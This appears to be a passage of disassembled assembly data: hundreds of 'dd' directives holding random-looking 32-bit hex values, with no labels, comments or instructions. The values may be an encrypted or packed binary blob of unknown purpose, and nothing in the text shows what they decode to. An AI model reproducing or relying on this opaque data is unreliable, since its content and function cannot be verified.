dd 0FCF2424Fh, 0F1A20E14h, 74FA120Fh, 0CD9E6008h, 58F83B37h
dd 0ABCDF6F0h, 538B7CD1h, 0A619B531h, 0AF49AF81h, 0C82D6279h
dd 0E1B89BD3h, 0EF612660h, 68C598E9h, 0AA734515h, 0EB5BA7AFh
dd 0CAF65972h, 727FDD9Eh, 2E577942h, 834B76Ah, 183FF1A6h
dd 23A451C8h, 17F50365h, 0E443EE47h, 0F5524226h, 74BA080Ch
dd 35FEEF09h, 9484FCF7h, 0C5930BD0h, 7D8B8CB1h, 0C60E4CC3h
dd 0DC08D3DEh, 6929E2A2h, 32A87AF8h, 169132DDh, 0A700902Bh
dd 0D3C1233Ah, 47DA9BBCh, 35C6C633h, 8C40C4F2h, 79BDC902h
dd 31F4B58Ah, 17867172h, 7DAF1150h, 30EF62A3h, 9672BA4Ah
dd 45A3F626h, 3D18DC04h, 51A4C539h, 0AFA28FB5h, 0D11FD271h
dd 0E79083D1h, 0CFEDCB61h, 0F80F62E9h, 0CBE0B8D5h, 0FAD8AD0Fh
dd 0EB4C6082h, 6AC1BB3Eh, 2B64D7B2h, 0A8640C0h, 1B6979F9h
dd 0A395D785h, 0D7EDE049h, 0C592F91Dh, 0F4935581h, 0ED13004Bh
dd 0C8536916h, 79330380h, 4A236849h, 9B8A3F17h, 0CA4EF480h
dd 6348FFC9h, 0AE29F2B5h, 0AB398FFFh, 0CA257258h, 62A493E3h
dd 0AEE32218h, 48029AEDh, 0DA52C613h, 0E2ABE42Eh, 4EFE7932h
dd 303ECDBEh, 56D77172h, 4A29807Fh, 62DD63A2h, 55E40ECAh
dd 6754F2E6h, 1791EE04h, 47645A09h, 0E6461FFDh, 0DD55FD11h
dd 0A24C1F9Fh, 0FC6BDA52h, 2963B580h, 75E50FE2h, 4D7F8EE1h
dd 784B7EBAh, 8FD5ACFCh, 6C723CDCh, 0D1AAB0AAh, 277CCAFAh
dd 760A97DCh, 677FD823h, 8E2155FAh, 33F999Eh, 4629C54Ch
dd 672C7093h, 8E2A0940h, 36B76ABh, 0C52BA846h, 27BB6538h
dd 57AA8F85h, 0DF0F3579h, 0D34A8F95h, 0A2A3CA41h, 95B397E9h
dd 42F05965h, 8ACC4A10h, 306EC954h, 9D35D4Fh, 0D85B68A2h
dd 39D4A74Eh, 6866C3AAh, 7185D1D4h, 6C6AA977h, 0D296E654h
dd 24CEC039h, 0F631913Dh, 0A7F059B9h, 0EE701E47h, 0B3407800h
dd 0E281311h, 0BB247899h, 0A83E2CE7h, 987DE480h, 1BA6FD1h
dd 0C46B22A9h, 0A59B7FEDh, 0B9FF521Bh, 9182BB64h, 1C7FCE99h
dd 0DA61946Dh, 0B8105793h, 8898342Eh, 0C40972h, 4C662DDEh
dd 7AF27961h, 499BAF59h, 631FE5ADh, 55C5CFC7h, 6763D264h
dd 9711DF44h, 7F822E9h, 0C6C4036Dh, 0A734F399h, 963BEAE5h
dd 0BF229ADEh, 0B25DC05h, 0BAA2430Ah, 29A3D3B6h, 58037ABAh
dd 61C2AEF8h, 746AC029h
dd 0ED9AAF21h, 0A570CAB5h, 0B70C97F5h, 87F6D81Bh, 9EE1D50Ah
dd 1BD0591Ah, 7AB9E5CEh, 69320010h, 9281149h, 0C0EB7AACh
dd 24EEAE40h, 579FE43Ch, 5F9E4F01h, 0DB0312BDh, 0D142BFF1h
dd 0A5A53255h, 96348BE5h, 0BCCCD71Dh, 8AE8F4E9h, 0B8D7E9D7h
dd 895B5D8Ah, 18D761C2h, 59C6A3DEh, 7875C3A2h, 499A52C8h
dd 607AE6E5h, 0D4868607h, 0A6FED006h, 3781993Ch, 47005E71h
dd 0FE401C53h, 0AB207B12h, 72301482h, 752878F6h, 4F2C2CD6h
dd 6BEAE4A0h, 86BEFB9h, 0C05B62BDh, 0A7BB5FFBh, 0B677425Ah
dd 168EB3E4h, 5F3DCA19h, 0FAC296EDh, 88AFD813h, 8010752Eh
dd 44829B2h, 4EE43D7Eh, 7BF27092h, 491B2B42h, 635CA7AAh
dd 55A6ACC6h, 6770C5F8h, 1789D785h, 0C77C2649h, 0A64201DDh
dd 973FF061h, 9E31696Bh, 0BB285A96h, 92C3C2Ch, 39AA7335h
dd 0E82B2B87h, 0B8CB66B6h, 11EAA0F6h, 7C92C120h, 699AAFA9h
dd 0E884CA7Dh, 9006961Dh, 0B441D803h, 97A0550Ah, 1F701996h
dd 78080550h, 683C1091h, 89A2194Fh, 80AF7EAAh, 489AC46h
dd 478C6338h, 67820E85h, 0D70372F9h, 0D740AFD5h, 0A4A03A21h
dd 96B00FF9h, 0BC88151Dh, 8A0C17F3h, 0B8C3E652h, 82365CEh
dd 58509D62h, 79E8BD6Eh, 9863C25Ah, 0D2DDC24Ch, 0F73C3623h
dd 45C1B6E6h, 0B7963016h, 0E7169134h, 0F757427Dh, 5EB70A5Dh
dd 30776A13h, 7A540402h, 0BA276936h, 0FE453CB6h, 0EB7CF4B0h
dd 0E03C7FB1h, 5F7DB2A1h, 2CA02FF9h, 2429A225h, 54DBBE5h
dd 0C3CD619h, 86480EDh, 8664913h, 768BA5AEh, 9A5ED872h
dd 0DBAD1D1Eh, 0EBB41882h, 0DAF4A74Ah, 0F0C479B6h, 0DB259DC0h
dd 0F4C7A579h, 4C6DF45h, 9A339A9h, 0E86817CDh, 0AE4C9D1Ch
dd 0A610E9E7h, 0A7083D48h, 270C3C6Dh, 988A4305h, 888B03AFh
dd 0B8AB42EAh, 21AA82D4h, 64A2E607h, 0D5828E08h, 1EB0FA0Dh
dd 0C130A60Dh, 94F0E843h, 9FD0E522h, 23A0E9A2h, 4E281562h
dd 5B7410A6h, 815D17Eh, 407162AAh, 64A8A246h, 77FDE238h
dd 6F89CE05h, 0D31F5239h, 3543BE35h, 47A4C233h, 773463F5h
dd 5C4FB317h, 6A25D6F9h, 58B816DBh, 68268C3Dh, 7843790Dh
dd 79FB5F6Eh, 0F8602D40h, 0B98EB3C4h, 0F86C8677h, 389FA6D1h
dd 409AD1FDh, 549C6930h, 0E69FB667h, 3EA1F87Fh, 3B23952Eh
dd 0DAE5F5A7h, 31079950h, 0FD79CCBEh, 92C3036Ah, 94D90F85h
dd 2E35028Bh, 416AFFC7h, 54D54216h, 0F7C343D1h, 3F6E222Fh
dd 5B2572D5h, 88D3A29h, 50191212h, 0CC72080Ch, 0BAA8FD7Eh
dd 81CF60F0h, 945E1376h, 8D84EBF4h, 0B52F7A8Ah, 875B5CB0h
dd 0F7B42B4Eh, 0A72BCBC6h, 860FE4EDh, 176A16A3h, 6E6189F7h
dd 637E3D1Ch, 0E5749C22h, 0DFF17306h, 8B761BD7h, 1914AE92h
dd 0D1CB7495h, 2CD0DF45h, 41EF52CCh, 0ECEB2B9Bh, 226B7735h
dd 4D283889h, 4B4AB5B6h, 0F1DF79E0h, 9F19A534h, 8BBFD0EDh
dd 680C0936h, 0E06486DEh, 0A4C6403Dh, 79E815Dh, 57F261F8h
dd 0CF665207h, 3BC2AE95h, 5E244A83h, 0B34A48Dh, 528E5193h
dd 6DC5D97Fh, 5BA9EFDAh, 0E97E90FDh, 38E777ADh, 594D5E1Eh
dd 0C8E92D58h, 0B1023380h, 0FCEE4719h, 3A1C8640h, 0C1656175h
dd 149C11BCh, 0C65FAAF9h, 4E41F6FEh, 0F3B39CAEh, 0BE7DF1A7h
dd 3839B10h, 0F4FFCFDEh, 96C2047Ah, 96198F4Dh, 2E55C227h
dd 407D1F75h, 54AD72EDh, 77673B56h, 0FF103EAEh, 0BBAC7C55h
dd 18F1BBA9h, 4898D212h, 0D00D684Ch, 0A429121Eh, 9E4F3860h
dd 0AB5FFFFEh, 82C4FD78h, 0B58F73F4h, 87EB58B1h, 773C2A0Eh
dd 0E7A7CC26h, 0A68DE5FDh, 7E9166Bh, 56E2096Bh, 6FFE7DEAh
dd 0E3F4BCBBh, 5E716382h, 0CB761349h, 39D4AA13h, 41AB7615h
dd 7440DCC5h, 7D1751CCh, 0E26F2B5Bh, 2BF57795h, 49293839h
dd 498A350Eh, 0F03EB964h, 9F0985B6h, 8B67206Eh, 0E86811B5h
dd 20F28A5Dh, 44BF46BEh, 0F71A00C2h, 0DF8CA1F9h, 0BE77347h
dd 0B96BFE75h, 91D3527Fh, 9C5D586Dh, 0B9C9BF20h, 0BA5C20F5h
dd 8D2630EDh, 0B1434186h, 7CC7F4A2h, 0E9FED87Bh, 0CBAFE33h
dd 11AB654Dh, 13C7A6A4h, 0FCC14397h, 0B28191F0h, 2D807921h
dd 0DA004E43h, 0A0C1F45Eh, 0BE02F55h, 0CA501A83h, 0DD583F35h
dd 0CCB02D56h, 0F1F6A277h, 0B614D9B9h, 0A0C9218Ch, 184F6AE6h
dd 4DE2C4BDh, 58DDBAC5h, 42975724h, 0C5E47C3h, 7775B690h
dd 6FF8345Dh, 74B2E1A7h, 0B16CFCFEh, 0F8C9045h, 431A1BA2h
dd 6643208Ah, 572690DEh, 5700BBECh, 225DF9B9h, 0FE141BF2h
dd 62F9475Eh, 0E72BB0C7h, 0AFC5B89h, 731A6B08h, 81B1DD5Ah
dd 0ADCDD63Ch, 326D05DCh, 0C5ACD8A4h, 0BF2489BBh, 8BBCAC49h
dd 2FF2A9A8h, 0D0F7D77Dh, 6641819Dh, 456C9C3h, 404456Ah
dd 0BD7E0846h, 0D28C9528h, 0C634C08Dh, 253D6949h, 2D943EB7h
dd 0A9669440h, 6295CF14h, 0A91825F7h, 8971E398h, 0CC43F632h
dd 0F1C83688h, 9C927BF5h, 0D4FBDA39h, 0FCED4EB2h, 986C6C87h
dd 7D3213FAh, 58D4E5A2h, 9886D075h, 68ECA56Dh, 93F3A708h
dd 94E340FFh, 6BE445B1h, 52819280h, 9B651548h, 4C307714h
dd 504F9D37h, 7D060065h, 79CC736Fh, 80190453h, 766B5943h
dd 155F869Ch, 76C40A3Eh, 0BA96D090h, 0D4ACD289h, 0D13C1140h
dd 0E5BD7989h, 0F0C5171Ch, 1B15DC81h, 0D84A6512h, 18250FAEh
dd 78B2F572h, 60D8EF9Eh, 228CDA42h, 429A1FEAh, 66831D66h
dd 570693E8h, 6640B855h, 9761CACFh, 87302CE2h, 6B8052Eh
dd 472CF6BAh, 66CEE9BCh, 772D1D3Bh, 0D0D39C62h, 24ABA358h
dd 76AB4395h, 0E78AB2CDh, 8E0ACAF5h, 8342D227h, 8622A828h
dd 7F30C73Dh, 0CA2891BDh, 0A96CD933h, 0A92AD572h, 10BBD842h
dd 7FEBA52Ah, 6B8F6082h, 89A8148h, 400332B7h, 0E4478A40h
dd 37E15639h, 0CF71B405h, 0E3184939h, 0BD43CDB5h, 93A66971h
dd 9D312751h, 0B949A1A1h, 88AC21C9h, 0B9F20365h, 884B7647h
dd 989C9626h, 19F2BE0Ch, 5887CC09h, 0F99D5377h, 0A8866790h
dd 7080C6D1h, 0F481F1F3h, 8E806926h, 0B800666h, 5801F05Eh
dd 1840690Ch, 5BA01B83h, 0E0707C76h, 15882D16h, 76BCE380h
dd 7682EE49h, 0CF0FE2F5h, 0A0C19E1Fh, 0B4206228h, 4C8A03FBh
dd 84F32947h, 604F71A8h, 0A84A2612h, 1022EC2Eh, 7CB2E532h
dd 62E8E7BEh, 0D8CDE72h, 421A1DD2h, 66C31A62h, 57E6926Ah
dd 6650B816h, 1719CAECh, 47342C95h, 0E6A60537h, 0B72DF6BEh
dd 6ECE6842h, 732CDD3Ah, 6ED3FC62h, 6BA35358h, 513B5B95h
dd 946ABECDh, 866ACCF5h, 87F2D327h, 852AA8A8h, 7C3CC6FDh
dd 0CEAA91DDh, 0A92FD923h, 0A9C9557Ah, 158B985Eh, 7F93DCBFh
dd 6B8B7083h, 88848948h, 5EA36B7h, 0C1971841h, 22588538h
dd 0D2D1C784h, 9F184978h, 0B343D595h, 92A66541h, 9DB12169h
dd 0B909A0A5h, 88CC214Fh, 0B9E202A4h, 8537627h, 0D8989636h
dd 39F4BE04h, 6886CC15h, 0F19DD371h, 0AC86A791h, 0F280E6D1h
dd 0B581C1F3h, 0AE001126h, 1BC01A66h, 4061FE5Eh, 6450680Ch
dd 55B81B03h, 0E1747CB6h, 150E22F6h, 76FDE390h, 76E26E41h
dd 0CF1F22F9h, 0A0D97E1Dh, 0B424522Bh, 97D73BFCh, 1FA90E1Dh
dd 2A9CB4F3h, 49C3F712h, 0F9AADCAEh, 0B13AC5F2h, 9D608F5Eh
dd 0FB04D262h, 0B0F203DAh, 67030B6Eh, 57C692E4h, 6660B8D7h
dd 9711C50Ch, 7382C85h, 0C6A4053Fh, 0A72EF6B2h, 16C9E840h
dd 7F2C9D39h, 0ECD3DC65h, 0A2A94359h, 0B1AA5395h, 75DEBACDh
dd 6E1FDEF5h, 4AB6C027h
dd 7BC6B728h, 88ECD6BDh, 38F081FDh, 595AC913h, 0A9E9C282h
dd 109C585Ah, 7F9BE52Eh, 6B870080h, 8869137h, 0C0013AB6h
dd 24408E40h, 57E0D439h, 0DF71F705h, 9B1856B9h, 0B941DDF5h
dd 95A46151h, 6EC12361h, 4989B359h, 781C3ECDh, 492212E3h
dd 78AB6606h, 0EAB48606h, 0ABF6A9FCh, 7885DC11h, 0C9825373h
dd 0A086E792h, 748086AEh, 7681D1F2h, 4F801926h, 6B001E66h
dd 4841FC5Eh, 60206B0Ch, 57B01C83h, 17287CF6h, 0E70032D6h
dd 86E2F3A0h, 76C3FE39h, 0CF2F62FDh, 0A0D15E1Bh, 0B428422Ah
dd 17D433FCh, 5FAA0A1Dh, 0FB0B36F3h, 884AA812h, 22AD2Eh
dd 44B2C5B2h, 6EE8977Eh, 0B8CC592h, 411A11C2h, 6743186Ah
dd 57A69566h, 6670B8A8h, 1709C52Dh, 0C73C2CB5h, 0A6A20547h
dd 972FF6B6h, 1EC96846h, 7B2C5D38h, 6AD23C65h, 0E9AB7359h
dd 9014AB95h, 0B4CAA6CDh, 97EAC0F5h, 0BF92D127h, 881AA7A8h
dd 7844C67Dh, 0C9A6901Dh, 0A8B1D903h, 0A988528Ah, 108C1856h
dd 7F820530h, 6B831081h, 88809937h, 80003EB6h, 4400C40h
dd 47E01339h, 0E7701685h, 971866F9h, 0B0BC25D5h, 94A67D21h
dd 9EB12D79h, 0B889A25Dh, 880C2E53h, 0B9C20222h, 8A377E6h
dd 58909616h, 7988B9F4h, 884CC1Dh, 0C182D36Dh, 0A4872793h
dd 0F680A6AEh, 378021F2h, 6F000126h, 7B401266h, 70A1FA5Eh
dd 6C306A0Ch, 56481C03h, 0E76C7D36h, 163222B6h, 777BE3B0h
dd 76236E31h, 0CF3EA2E1h, 0A0293E19h, 0B42FB235h, 97AA2BFDh
dd 9FAB061Dh, 9B0BB0F3h, 984B6912h, 78228DAEh, 48B33472h
dd 68E88F1Eh, 88CC982h, 409A17CAh, 67831976h, 578695E0h
dd 6680B969h, 9701C54Dh, 86C02CA5h, 86A0054Fh, 8710F6AAh
dd 6C8E844h, 472C1D27h, 0E8D21C64h, 28AB6359h, 0F094A395h
dd 0A48AA2CDh, 0EF8AC2F5h, 0B382D627h, 8E02A628h, 7B40C63Dh
dd 0C820903Dh, 0A870D973h, 0A9A8D292h, 107CD852h, 7F8A2532h
dd 6A7F2086h, 8826136h, 403F22B6h, 64418240h, 77E05239h
dd 0EF703605h, 93187639h, 0B6BC2C35h, 97A67931h, 9F312F71h
dd 0B849A551h, 882C2FD1h, 0B9B20261h, 88AB77C9h, 988C9667h
dd 998AB9ECh, 1883CC19h, 0D983536Fh, 0D8876794h, 388046AFh
dd 0D08031F2h, 1C800926h, 72801666h, 7481F85Eh, 6E00650Ch
dd 51401D83h, 0E4E07D76h, 17F02296h, 7758E240h, 761CEE29h
dd 0CF36E2E5h, 0A0251E17h, 0B42DA234h, 17A923FDh, 0DFAC821Dh
dd 0BB0BF2F3h, 0E84B0A12h, 30229A2Eh, 6CB33C32h, 7AE88B3Eh
dd 718CCBB2h, 4C1A14B2h, 61C316F2h, 576695A2h, 6610B94Ah
dd 1779C57Ah, 47242D5Ch, 66BE054Bh, 0F729F6ACh, 0ECC6845h
dd 0C32DDD27h, 0A6D37C64h, 0FAB9359h, 0C32B7B95h, 0AD4A8ECDh
dd 0EBAAB4F5h, 0B1B2CF27h, 8F0AAAA8h, 7BCCC7FDh, 0C862915Dh
dd 0A813D9E3h, 0A9BF555Ah, 1064984Eh, 7F8E4524h, 6A79308Fh
dd 8883694Ah, 3FA6B4h, 44414047h, 0E7EFB138h, 37703985h
dd 0EF180E79h, 0A4BC3015h, 0AEA67701h, 93B12E89h, 0BE09A5D5h
dd 8B4C2F17h, 0B8220580h, 87377D9h, 0D8A8966Fh, 0B9FCB9E0h
dd 288ACC67h, 0D19FD36Eh, 5C85A794h, 7A8766AFh, 0F18181F2h
dd 0C007126h, 4AC00A66h, 78E1F65Eh, 68106C0Ch, 50581903h
dd 0E4647FB6h, 17B62D76h, 77B9E3D0h, 760C6E61h, 0CF4E22C9h
dd 0A022FFE5h, 0B433922Fh, 97A85BFAh, 1FAC1E1Ch, 5B0A3CF3h
dd 0F84B2B12h, 28226AAEh, 70B324F2h, 64E884DEh, 0E8CCDA2h
dd 439A15BAh, 6603167Eh, 5746945Ch, 6620B92Bh, 9771C56Ah
dd 7282D54h, 46BC0557h, 0E72AF6AEh, 36CFE84Ah, 4F2D9D26h
dd 64D35C64h, 6EAB8359h, 0D3AB7395h, 0D50A8ACDh, 0A74AB6F5h
dd 97A2CC27h, 9C72A928h, 248C7BDh, 0C4BC917Dh, 0AE32D9D3h
dd 0A94FD562h, 10ED584Ah, 7FF26526h, 6B9BC08Ch, 89C7149h
dd 0C0062AB7h, 0A4450640h, 17E19039h, 0BF712905h, 0AB1887B9h
dd 9943F475h, 81A65511h, 84315981h, 85C9BC49h, 896C2355h
dd 0B91203AFh, 88FB76A8h, 18E496F7h, 0D99EBE24h, 3899CC05h
dd 0A9845379h, 9081E79Dh, 9C8106D3h, 828091F0h, 580F921h
dd 0CE00CE67h, 0BAC1D45Eh, 8E05F0Ch, 43D1E283h, 226763F6h
dd 1B91DCA9h, 718D22E0h, 7518EED9h, 0CEC6A20Dh, 0A076DE03h
dd 0B414423Eh, 1752D3F2h, 5FAC9A10h, 7B985EF1h, 0C841FC11h
dd 0A0AA6331h, 0B4BA60B3h, 8678C6FEh, 1F842ED2h, 5B8B1A22h
dd 1A4BDE3Ah, 59B4907Eh, 61387B1Ch, 147ACA93h, 0C6E4ECD0h
dd 269A0511h, 0D71BF68Fh, 0BEC769BAh, 0B215D3Eh, 42D1BC60h
dd 5DA8B35Bh, 0DA14CB8Ah, 55CAF6CCh, 656AE8F5h, 0F6D2DD27h
dd 0ACFAA1A8h, 0A14C37Dh, 0C0DE939Dh, 0AC25DAC3h, 0AA5652EAh
dd 11691806h, 7F348508h, 6BBAD0BDh, 886CF931h, 800EEEB3h
dd 84BAE442h, 7E39F3Ah, 478E5082h, 27191BF8h, 5F43BA55h
dd 0E0A7B4E1h, 0B4B14919h, 8D89B48Dh, 828C24BBh, 0BF0201BEh
dd 0BC371A0h, 5960977Bh, 0F950BE5Ah, 48B8CC24h, 61F4D309h
dd 0F48A2785h, 0AE9D26D7h, 8B82E1EEh, 107E120h, 4C414267h
dd 0FA21925Eh, 2970BE0Ch, 3329F203h, 0D5BC6836h, 1F6A2736h
dd 738FE0F0h, 747961D1h, 0CE43A3B1h, 0A0BFBE41h, 0B4F17219h
dd 97CF8A03h, 9F5DB608h, 0FDF248F5h, 0D8B7251Fh, 982467B0h
dd 38B22173h, 0C0E9019Eh, 3C8C8F42h, 2A9BEA6Ah, 52830626h
dd 7D069C08h, 7340BD05h, 0EDE1CB97h, 0CA702C4Eh, 20D804D0h
dd 57FCF6EFh, 0FE56E9AAh, 2B591D36h, 31359C7Ch, 55B6A35Dh
dd 0DE2DC38Bh, 0D3CE72CCh, 246B2AF5h, 0D6538227h, 0BCBA5028h
dd 12F71B3Dh, 0FCCEBFBDh, 0ADDDAC33h, 0AB524BF2h, 11D71482h
dd 7F7584CAh, 6BDA51D2h, 87D39A0h, 40168D7Bh, 0E4BEF45Eh
dd 37E5872Ch, 4F8F5C8Bh, 0A3199DC4h, 1D437B57h, 0C3A79466h
dd 253178D8h, 55484CEDh, 0FEAC38ABh, 0B2F20FB6h, 32CB70BCh
dd 55DC97FDh, 0FF12BE9Bh, 0CBD7CDC4h, 20655319h, 0D452678Dh
dd 0BEBAC6DBh, 93F4F1ECh, 3D0EE923h, 0C25DC678h, 3B23505Fh
dd 0C9F7990Ch, 23684383h, 0CDDC1076h, 637A3B16h, 7D97EE80h
dd 737D68C9h, 0CDC5A735h, 0A17EBCBFh, 0B4D1EDF8h, 17FF4B93h
dd 0DF559640h, 3B1E78D9h, 0A8B5CDEDh, 90277BABh, 0BC4DAF74h
dd 2E9409Fh, 0DD8CAFC2h, 3A1BFAAAh, 4AC30FC6h, 61E69818h
dd 6D50BF0Dh, 9299C89Bh, 85F42BCCh, 7060493h, 0C7DDF6C0h
dd 2666699Bh, 0D750DD4Eh, 3F39FC78h, 4CE4535Fh, 0A2AEDB88h
dd 0FB77FECBh, 0C30B7CF4h, 25C0A327h, 5CB440A8h, 16D302FDh
dd 0FEF8BBDDh, 0A2D4AE23h, 0ACDEC8FAh, 1215D71Eh, 7F56A48Ch
dd 6BE5E1F3h, 88754190h, 1A9143h, 0C4BCFA5Ah, 27E68E2Eh
dd 578CD808h, 5F19DF07h, 934318B4h, 2A783F1h, 2C677091h
dd 0A50858C1h, 0F6CC3A99h, 0B6E20CCDh, 8CD3733Bh, 9AD897BCh
dd 1894BEBBh, 0D816CDF4h, 3845D321h, 0C862A789h, 0A0B2E6DDh
dd 8CF8C1EDh, 828C9123h, 8D9EDA78h, 1B00DE5Fh, 0F9C7D80Ch
dd 0C2B62303h, 0C9D010B6h, 617830F6h, 7C94EA90h, 73FEEAC1h
dd 0CD85E439h, 0A11E9F3Dh, 0B4C1DDBBh, 97E743B4h, 1F519271h
dd 0DB187AE1h, 0B8B4CEE9h, 8827F82Dh, 804D6F35h, 8CE9A0BFh
dd 9A8CBFF2h, 0F04DC292h, 7B0363C2h, 69C6861Ah, 6960BE0Eh
dd 1091C818h, 44F82B0Fh, 0E7840470h, 379EF6DFh, 0AE01E992h
dd 13409D42h, 5D21DC76h, 63B0435Eh, 5528D388h, 164CFACBh
dd 0C52BEEF4h, 26F36027h
dd 59B69F28h, 0FB4332BDh, 138693FDh, 4E7BC213h, 41894602h
dd 0FF75861Ah, 9208D40Eh, 1495E130h, 770BB600h, 0BF65AA2Dh
dd 5BCC672Dh, 0BABB9D22h, 0B2D0C386h, 0B645CB46h, 11430A94h
dd 45A784C1h, 0E6310ED9h, 0B4C84885h, 8EEC4547h, 0BAD20CBCh
dd 0EDB4FB3h, 0DBD497B8h, 38168085h, 0E855CDF5h, 0B1AA1313h
dd 8C72E789h, 780A86DDh, 0FDFCD1EDh, 8A029923h, 8911DE78h
dd 0E50C5C5Eh, 3781B0Ch, 2BF80483h, 0C99470F6h, 63B028D6h
dd 8111E6A1h, 88766CB9h, 0CD81253Dh, 0A1007FBBh, 0B658D27Ah
dd 0EA3BFBD5h, 0A3006E61h, 0FB1824E9h, 88B43F15h, 829FE0AFh
dd 7A7163F3h, 0F2B1A65Eh, 5B8CBEE2h, 791BC21Ah, 6857720Eh
dd 0AFE28675h, 6570BE1Fh, 9689C810h, 7FC2B13h, 0C6020476h
dd 275FF6DEh, 0A8796992h, 0E1585D42h, 0A5AC3C76h, 9C30735Eh
dd 0AB1E2B88h, 0E8CFE6CBh, 381E60F4h, 0D8092127h, 4A2ABFA8h
dd 0E915327Dh, 1CA8A1Dh, 5C08D603h, 5395D40Ah, 0ED7E5916h
dd 8036E590h, 949E8171h, 7708D15Fh, 7F88DAA2h, 0FB111E4Ah
dd 0B8569C26h, 984ED304h, 0A8CBD8B9h, 68A31AF5h, 7B5784D1h
dd 86B57121h, 849848B8h, 862A3ABCh, 0BEFE0CBAh, 8B6B7323h
dd 188497B9h, 59CCBEC4h, 0F8E4CDF4h, 890CD320h, 80232788h
dd 8430A6DCh, 0FDA321ECh, 88B08122h, 8A3ED279h, 1A0FDA5Eh
dd 0FBFE5A0Dh, 289DE402h, 0CAF26137h, 621A20B7h, 7F16E2B1h
dd 7025EEB0h, 0CE2F6220h, 0A2BC5E38h, 0B708C204h, 9433F3F4h
dd 9CB46A10h, 98E426F0h, 9CBE2010h, 0FC31E130h, 8C6163B2h
dd 8CDFA67Fh, 1CC8BE13h, 5CC9C203h, 1FED720Bh, 5D0E8677h
dd 651ABE11h, 1029C810h, 0C23C2B12h, 0A24E0477h, 13E0F6DFh
dd 5A38E993h, 1E321D43h, 5FF21C77h, 649A635Fh, 512A2389h
dd 1384E2CAh, 0C38CE2F5h, 226AE626h, 0B15EDE29h, 1624C23Ch
dd 0FE0A923Dh, 0A3C7DA72h, 0ADD45213h, 13241813h, 7E4D0513h
dd 6AC490B7h, 93AD93Fh, 4170DEB3h, 65CF1C43h, 766A9B3Bh
dd 6E2ED283h, 52A1D8F9h, 14931AD4h, 0C64F84A0h, 0A6C97138h
dd 964248BCh, 9C363D42h, 82B20CBBh, 5587322h, 59B817B8h
dd 793D3EC5h, 88C64DF5h, 81E8D321h, 8481E789h, 8696C6DDh
dd 0FF8EB1EDh, 8B020923h, 89435678h, 19ACD85Fh, 0F8B1150Ch
dd 2B864583h, 0C99CD176h, 61915896h, 7C897D40h, 73B3E0A9h
dd 0CD862325h, 0A139BEB7h, 0B4CBB2C4h, 17F36A15h, 0DF41E601h
dd 0BB77A0F9h, 0E8B4A11Dh, 0B283E1B3h, 0AC4D6271h, 182FA611h
dd 0C35ABE02h, 0A6F1C20Bh, 16C37217h, 41668671h, 0E348BE11h
dd 2491C811h, 5F602B13h, 6B820476h, 0E06DF6DEh, 0A4206992h
dd 0E7C5DD42h, 0A7337C76h, 9EDC935Eh, 0ABD8FB88h, 0E9F7CECBh
dd 39BB54F4h, 0D85A9F27h, 4B92C2A8h, 0E944D3FDh, 1A59B5Dh
dd 5C545EE3h, 534610DAh, 0ED88FB0Eh, 80E31284h, 942898FFh
dd 77A6DD12h, 0FFFADC80h, 0BB431339h, 0E7E29ABDh, 0B79CD2C2h
dd 0AF3FD8D9h, 1B7F1524h, 0DEEF84B8h, 0BBE5713Ch, 8A6C48B2h
dd 813C3D43h, 3DA40CBBh, 4A537323h, 795A97B9h, 0A3CBEC4h
dd 0C3EACDF4h, 0A6D9D320h, 95DFA788h, 9CC766DCh, 806881ECh
dd 863CF122h, 8A27CA79h, 1AA5565Eh, 0FB6A9C0Dh, 2843C102h
dd 0CA2E53B7h, 6253DB77h, 7F537ED1h, 7062A0E0h, 0CE7DC308h
dd 0A50AAE84h, 0B0D6EAFEh, 93CBC613h, 1B665001h, 5F5C59F8h
dd 0FCE63D9Ch, 0AC49E072h, 0B4C56311h, 73A680h, 0DA24BECAh
dd 0BF27C217h, 0ECD7201h, 45A68678h, 99D8BE1Ch, 9FE3C812h
dd 84CA2B11h, 2E0470h, 0C3E4F6DEh, 0A3A9E993h, 12779D43h
dd 45A15C77h, 5920835Fh, 5A96F389h, 1155CACBh, 0C5EB56F5h
dd 27C29C26h, 0B5ECC129h, 170ED3BCh, 0FFF69B7Ch, 0A26ADED2h
dd 0ADBCD0E3h, 1355DB0Bh, 7ED8A287h, 6A48E0FDh, 9CCC110h
dd 0C1CAD282h, 0A55B1A3Bh, 161E9E3Fh, 3D86D001h, 6903DB3Ah
dd 0F9431AB3h, 31D484F0h, 2C45F111h, 0D1DFC881h, 0BF79BAB9h
dd 92118CBDh, 9D69F323h, 822817B8h, 1B373EC5h, 0D9ED4DF5h
dd 0B96ED321h, 88D06789h, 80FA86DDh, 0FC9811EDh, 8A8DF923h
dd 89960E78h, 190DB45Fh, 0F8F50F0Ch, 2BE7CA83h, 0C9A917F6h
dd 61937956h, 7C904DE0h, 73975B59h, 0CDEE5F4Dh, 0A10020A3h
dd 0B664E3CEh, 17E7C2ABh, 5D9652C4h, 79CE5A1Eh, 0CA5E3E0Dh
dd 2327E03Ah, 0F44D633Dh, 26E9A6B3h, 0BBF8DBB7h, 7070A178h
dd 0BA2D076Eh, 0A3268679h, 0F859D054h, 0EB05A97Ah, 0EFEF4E6Ah
dd 78137018h, 0BC989ABEh, 0D6161DF1h, 8D55D2Ch, 258BD233h
dd 35E7F02Ch, 3BFD22FCh, 72E065A7h, 0AB68E180h, 26C1AD27h
dd 0C2801CE4h, 7F62EC18h, 9FBBACE9h, 0C0419CAFh, 0C2B9B11Eh
dd 1229DFC6h, 2C20C52Fh, 0AA28799h, 0ED18A6F7h, 801AD2CFh
dd 0C8C77F53h, 6B87FD60h, 0A2E1B96Ch, 6719DB3Fh, 0B2377FF7h
dd 5CD2E09Ch, 0C0D83777h, 7CE906E7h, 5C8C7BDFh, 0D4E0CBEh
dd 542F1243h, 254FFBD7h, 0E530BEBAh, 578DBFB7h, 47AAB655h
dd 0B25342E5h, 0D0B256ADh, 93A7A08Ah, 0D8526123h, 0F128CE0Ch
dd 6957772Bh, 0F9F2FC63h, 4A27CA03h, 0ACB58246h, 271CD641h
dd 7CF2B199h, 1DA85351h, 9BF5FA1Ch, 0EE69A7C8h, 0D8A8B6AFh
dd 97E7494Eh, 0F134E6CBh, 7E741179h, 0A8C4AC71h, 594095EAh
dd 0F84D6F78h, 5386CCD6h, 82EDF7A4h, 0B2FEAECDh, 0E1C073C5h
dd 0F167F672h, 0CE34ED69h, 4B06A672h, 0D9B02B0Ch, 5C1D6820h
dd 0E8CCF6A0h, 548A87DAh, 0AFFA7130h, 67FBF91Dh, 2CEDC026h
dd 226324E6h, 2F8232CBh, 8615EB91h, 50A4C76Ah, 0CD79B950h
